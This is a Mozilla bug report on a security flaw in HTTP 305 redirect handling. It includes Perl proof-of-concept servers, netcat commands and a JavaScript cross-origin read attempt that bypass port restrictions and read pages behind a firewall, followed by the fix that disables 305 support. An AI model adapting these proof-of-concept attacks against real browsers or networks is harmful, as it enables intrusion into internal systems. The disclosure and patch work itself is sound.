Closed Bug 187996 Opened 22 years ago Closed 21 years ago

Strange behavior on 305 redirect

Categories

(Core :: Networking: HTTP, defect)

x86
Windows 2000
defect
Not set
normal

Tracking

()

VERIFIED FIXED
mozilla1.3beta

People

(Reporter: security-bugs, Assigned: darin.moz)

References

()

Details

(Keywords: testcase)

Attachments

(3 files, 1 obsolete file)

From guninski@guninski.com:

The HTTP response 305 "Use cache is dangerous".
Check attached file raw2.pl.
To reproduce:
1. In one terminal do:
nc -l -p 25 | od -c
(to listen on port 25 and hex dump what comes)
2. In another terminal:
/raw2.pl | nc -l -p 1234 
(to send raw http on port 1234)
3. In mozilla:
http://localhost:1234

Actual result:
Mozilla sends 
005 001  \0 (hex)
On port 25.
Port 25 is restricted and \x05\x01 is strange.
I suspect mozilla does not follow the location header, which is a small
bug, which prevents misusing port 25.


-------------- raw2.pl -----------------------
#!/usr/bin/perl

print "HTTP/1.1 305 Use proxy\n";
#print "Location: http://www.mozilla.org\n";
print "Location: localhost:25\n";
#print "Content-Location: http://localhost:2345\n";
#print "Content-Location: http://www.mozilla.org\n";
#print "Refresh: 2; URL=http://localhost\n";
print "\n\n";
Georgi, I'm not clear on what the potential exploit is - what's at stake here?
Group: security
basically, this allows a website to defeat our NS_CheckPortSafety check for the
HTTP protocol.  i think this is fairly serious.  however, it should not be
possible for an attacker to redirect a form submission.  the redirected request
will always be GET without a body.

as for the wierd \x05 \x01 \x00, that results from necko mistakenly thinking it
needs to establish a SOCKS v5 connection to the proxy.  that is a recent
regression, unfortunately.  i'd expect 1.0 branch builds to send the actual HTTP
request to port 25.

i have a patch to fix the SOCKS bit.
Status: NEW → ASSIGNED
Flags: blocking1.3b?
Target Milestone: --- → mozilla1.3beta
Attached patch v1 patch: fixes SOCKS fu (obsolete) — Splinter Review
this patch only fixes the SOCKS fu... the fix for the security bug is probably
going to require an appropriately placed call to NS_CheckPortSafety.
I am not sure whether this is a bug. The SOCKS regression prevented me from
investigating further. Now I can test on the 1.0 branch, which works.

So far the only confirmed small bug is that 305 allows connecting to port 25
(SMTP). But the fact that only GET is supported is a great mitigating factor.

Potential exploit scenario is to try to send requests to other sites containing
cookies thru the proxy which 305 specifies.
The HTTP headers are:

Keep-Alive: 300
Proxy-Connection: keep-alive
^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Darin: Do you think it is possible to send requests to other sites thru the
"temporary" proxy - this may allow stealing cookies?


the temporary proxy only applies to the current URL.  if the current URL is
http://www.evil.com/, then only cookies from evil.com will be sent to the proxy.
 i don't see how this could be used to steal cookies from another domain.

i still think this is something we should probably fix just in case.
incidentally RFC 2616 doesn't say anything about whether or not a POST should be
resent to the proxy server.  perhaps it should.
yeah, well, I think a 305 is a silly think for a spec. Last time we talked about
305, we couldn't find a usecase which wasn't incredably contrived and useless.
(IIRC, it was that rather than having a transparent http proxy set up, you could
have a transparent process which did nothing but reply with a 305. Kind of
silly/wasteful/etc, though, as well as against the HTTP spec's 'origin server'
restriction anyway)

That said, I think we should resend the POST contents. "The recipient is
expected to repeat this single request via the proxy." If the original request
had a body, then logically a 'repeat' of it must too.

If we don't have a port safety check, do we have a checkloaduri one, btw? cf
that redirect attack from a few months back.

When did the proxy stuff break?
yeah, 305 never seemed like something all that useful.  i agree with your
interpretation of the 305 redirect w.r.t. POST requests, and that's what worries
me.  there should be no need to call checkloaduri (and we dont) since the URL
won't be changed by the 305.
the 305 regression was caused by my patch for bug 105340 :(
The problem is that if we send this to an http/1.0 host (or a host which has a
'default' site for unknown host headers) we are effectivly loading it.

Although we do send the absolute url in the GET/POST, and I have this vague
recollection atht apache doens't accept those when its not a proxy.
For comment #10:
Bradley, this works also with http/1.1 on default install of apache (at least
1.3.26).
apache happily server full urls. Works even on mozilla.org. Probably this means
that pages from the intranet may be retrieved. 
To check:
In raw2.pl from the description change
Location: localhost:25\n
to
Location: www.mozilla.org:80\n

Or if one doesn't have netcat (aka nc)
here is a standalone perl proggie:
-----raw3sv.pl------------------------------
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

#local port
$port = 1234;

#redirect to
$toserver="www.mozilla.org:80";

$msg= "HTTP/1.1 305 Use proxy\n";
$msg .= "Location: ${toserver}\n";
$msg .= "\n\n";


$server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, Reuse
=> 1, Listen => 2)
or die "Couldn't create tcp-server.\n";

print "Listening on localhost:${port} will redirect to ${toserver}\n";

while ($client = $server->accept()) {
 print "Client connected.\n";
 print "Sending...";
sleep(1);
#	while(<$client>) {print $_;} 
 print $client "$msg";
 print "OK\n";
sleep(1);
 close($client);
exit(0);
}

--------------------------------------

Actual result:
./raw3sv.pl
with mozilla: connect to http://localhost:1234
The location and page info show "http://localhost:1234/" while the content
document is from www.mozilla.org without the images.
Probably with the help of a modified web server pages from behind the firewall
can be read.

Confirmed that pages (probably without cookies) from servers behind firewall
can be read.
Start the attached perl, then connect to http://localhost:1234/exploit
(or change localhost with the server where it is run. "localhost" should be
replaced in the perl code also in this case).
After some time the source of www.mozilla.org is displayed in an alert.
The whole purpose of 305 as described in the rfc seems brain damaged to me from
security point of view.
Flags: blocking1.3b? → blocking1.3b+
i agree.  i wonder if we shouldn't consider dropping support for 305.
in fact, IE6 appears to ignore the 305... even if i point it at a valid proxy
server.  i'm seriously thinking that we should do the same.
Yeah. Lets just #ifdef it out, or something. I remmeber when doing the proxy
rewrite that I was surprised that we suppoted it
I also vote to disabling it. Or setting an option which is disabled by default
and clearly states that enabling it is dangerous from security point of view.
Darin and others,

I am trying attacks with "204 No Content" response.
The idea is to load target page, then do
location.href="malicous_who_returns_204" and then "malicous_..." try to access
the target page.

This fails for now, but is such an attack possible?
Probably any response which updates the location without clearing the document
can be used.
nsURILoader.cpp ignores a 204 response code, which applies to any toplevel
document load.  now, that would not protect XMLHttpRequest, imagelib, CSS, JS,
or other types of loads that do not go through the docshell/uriloader magic.
So... I'm not sure what the proposed attack is here...  As Darin said, the
"currently loaded document" will never have a URI that resulted in a 204; these
are dropped before the docshell starts switching to the new document.
Darin, thanks for the info.

Boris: here is a potential attack scenario.
First, quote from RFC2616 (***emphasis mine***) :
----------------------------------------------------
10.2.5 204 No Content

   The server has fulfilled the request but does not need to return an
   entity-body, and might want to return updated metainformation. The
   response MAY include new or updated metainformation in the form of
   entity-headers, which if present SHOULD be associated with the
   requested variant.

   ***If the client is a user agent, it SHOULD NOT change its document view
   from that which caused the request to be sent. This response is
   primarily intended to allow input for actions to take place without
   causing a change to the user agent's active document view***, although
   any new or updated metainformation SHOULD be applied to the document
   currently in the user agent's active view.

   The 204 response MUST NOT include a message-body, and thus is always
   terminated by the first empty line after the header fields.


----------------------------------------------------

I thought that if mozilla followed this RFC as described above, a 204 response
would cause location.href to be updated to the new URL, while the document will
stay the old one.

In js loaded from "malicous" a potential attack would be done this way:
<script>
a=window.open("http://www.mozilla.org"); //target
//...wait till it is loaded...
a.location.href="http://malicous/something"; // malicous returns 204 response
a.location.href="javascript:alert(document.body.innerHTML)";
</script>



Yeah, I don't think we follow the rfc there.  We basically pretend the request
never existed if we get a 204.
Sure not following the RFC is safe behavior :)
internet exploder don't seem to follow it either.
just wanted to make sure this response is not exploitable.
Well, if nothing else we should comment that code appropriately so some
well-meaning soul doesn't try to "fix" us to comply to the RFC...
I don't necessarily agree with 204 being a security risk - we could easily work
arround this.

Supporting 204 will require hoooks into form conrols and so on, so its  alot of
work. I don't think it has practical value - who doesn't want to say 'update
accepted' when you make a change?

Anyway, thats not what this bug is about...
Attached patch v2 patchSplinter Review
this patch disables the 305 code.  i've removed the bulk of the 305 handling
code, and simply commented out the 305 case (with an explanatory comment) in
the big response switch statement.
Attachment #110838 - Attachment is obsolete: true
same patch w/ whitespace removed.  (v1 patch was accidentally included in
async-io landing.)
Attachment #112824 - Flags: superreview?(bzbarsky)
Attachment #112824 - Flags: review?(bbaetz)
Attachment #112824 - Flags: superreview?(bzbarsky) → superreview+
Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

r=bbaetz. For a 305 after this patch, we should then fall back to the
ProcessNormal case, if I read the code correctly
Attachment #112824 - Flags: review?(bbaetz) → review+
Comment on attachment 112824 [details] [diff] [review]
v2 patch (w/ whitespace removed)

requesting approval to checkin this patch for 1.3 beta.  simple code removal.
Attachment #112824 - Flags: approval1.3b?
bbaetz: yup, that is correct.  if moz sees a 305, then it will just display the
message body to the user.  here's a "behind the NS firewall" testcase:

http://unagi.mcom.com/bugs/bug_http_305/test.cgi

  #!/bin/sh
  echo 'status: 305 use proxy'
  echo 'location: unagi.mcom.com:8080'
  echo ''
  echo 'use proxy!'

with this patch, the user should see "use proxy!" displayed in the browser window.
QA Contact: httpqa → tever
Attachment #112824 - Flags: approval1.3b? → approval1.3b+
fixed-on-trunk
Status: ASSIGNED → RESOLVED
Closed: 21 years ago
Resolution: --- → FIXED
Attachment #111033 - Attachment mime type: application/octet-stream → text/plain
Is the 204 discussion related to the 305 discussion? If not, we should have that
in a separate bug.

As for 305, it is probably worth noting that Ari Luotonen, who used to be the
Netscape Proxy Server lead engineer, said he didn't know what 305 did. I think
he even was closely involved in putting the proxy stuff into HTTP 1.1, so that
probably says it all.

Keywords: testcase
QA Contact: tever → benc
Testing against latest branch 2002-02-10-09 on Win2000

1. At command prompt, run attached test files raw2.pl or raw3sv.pl (these
scripts listen on localhost:1234 and will try to redirect to www.mozilla.org:80)
2. Launch branch build and go to http://localhost:1234

Results:
Mozilla will not load or display within the browser.
Marking this Verified Fixed on the Branch based on my previous comment.
Status: RESOLVED → VERIFIED
Group: security
You need to log in before you can comment on or make changes to this bug.